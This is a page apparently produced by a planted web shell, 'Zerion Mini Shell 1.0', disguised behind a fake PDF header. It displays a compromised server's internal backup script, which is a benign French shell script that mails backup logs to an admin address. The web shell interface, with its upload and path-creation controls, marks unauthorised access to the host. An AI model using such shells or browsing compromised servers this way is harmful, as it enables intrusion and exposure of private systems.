%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/spool/
Upload File :
Create Path :
Current File : //var/spool/.m

#!/bin/sh

# IO minimum
#ionice -c3 -p$$
#renice +15 -p $$

# Param (sauvegarde des fichiers)
if [ "$1" = "fichier" ] ; then
        # si fichier de lock existe = deja lance
        if test -e /root/mt.lock ; then
                echo "sauvegarde deja lance, fichier de lock /root/mt.lock present"
                pid=`cat /root/mt.lock`
                if ! ps -p $pid > /dev/null ; then
                        echo "Curieux, le fichier de lock existe mais le processus semble mort"
			mutt -s "[Alerte backup] Fichier de lock Fichiers present `hostname`" master@o2switch.fr < /dev/null
                fi
        # pas de fichier de lock
        else
                sh /var/spool/.mt > /root/log_mt_bkp
		mutt -s "[Backup Ok] Fichiers `hostname`" -a /root/log_mt_bkp -- master@o2switch.fr < /dev/null
        fi
# Sauvegarde des bases de donnees semaine
elif [ "$1" = "bdd_semaine" ] ; then
        if test -e /root/mts.lock_semaine ; then
                echo "sauvegarde des bases de donnees semaine deja lance, fichier de lock /root/mts.lock_semaine present"
                pid=`cat /root/mts.lock_semaine`
                if ! ps -p $pid > /dev/null ; then
                        echo "Curieux, le fichier de lock existe mais le processus semble mort"
			mutt -s "[Alerte backup] Fichier de lock MySQL Semaine present `hostname`" master@o2switch.fr < /dev/null
                fi
        # pas de fichier de lock
        else
                sh /var/spool/.mts-semaine > /root/log_mts_bkp_semaine
		mutt -s "[Backup Ok] MySQL Semaine `hostname`" -a /root/log_mts_bkp_semaine -- master@o2switch.fr < /dev/null
        fi
# Sauvegarde des bases de donnes mois
elif [ "$1" = "bdd_mois" ] ; then
        if test -e /root/mts.lock_mois ; then
                echo "sauvegarde des bases de donnees (mois) deja lance, fichier de lock /root/mts.lock_mois present"
                pid=`cat /root/mts.lock_mois`
                if ! ps -p $pid > /dev/null ; then
                        echo "Curieux, le fichier de lock existe mais le processus semble mort"
			mutt -s "[Alerte backup] Fichier de lock MySQL Mois present `hostname`" master@o2switch.fr < /dev/null
                fi
        # pas de fichier de lock
        else
                sh /var/spool/.mts-mois > /root/log_mts_bkp_mois
		mutt -s "[Backup Ok] MySQL Mois `hostname`" -a /root/log_mts_bkp_mois -- master@o2switch.fr < /dev/null
        fi
# backup des base (jour)
else
        if test -e /root/mts.lock ; then
                echo "sauvegarde deja lance, fichier de lock /root/mts.lock present"
                pid=`cat /root/mts.lock`
                if ! ps -p $pid > /dev/null ; then
                        echo "Curieux, le fichier de lock existe mais le processus semble mort"
			mutt -s "[Alerte backup] Fichier de lock MySQL Jour present `hostname`" master@o2switch.fr < /dev/null
                fi
        # pas de fichier de lock
        else
                sh /var/spool/.mts > /root/log_mts_bkp
		mutt -s "[Backup Ok] MySQL Jour `hostname`" -a /root/log_mts_bkp -- master@o2switch.fr < /dev/null
        fi
fi


Zerion Mini Shell 1.0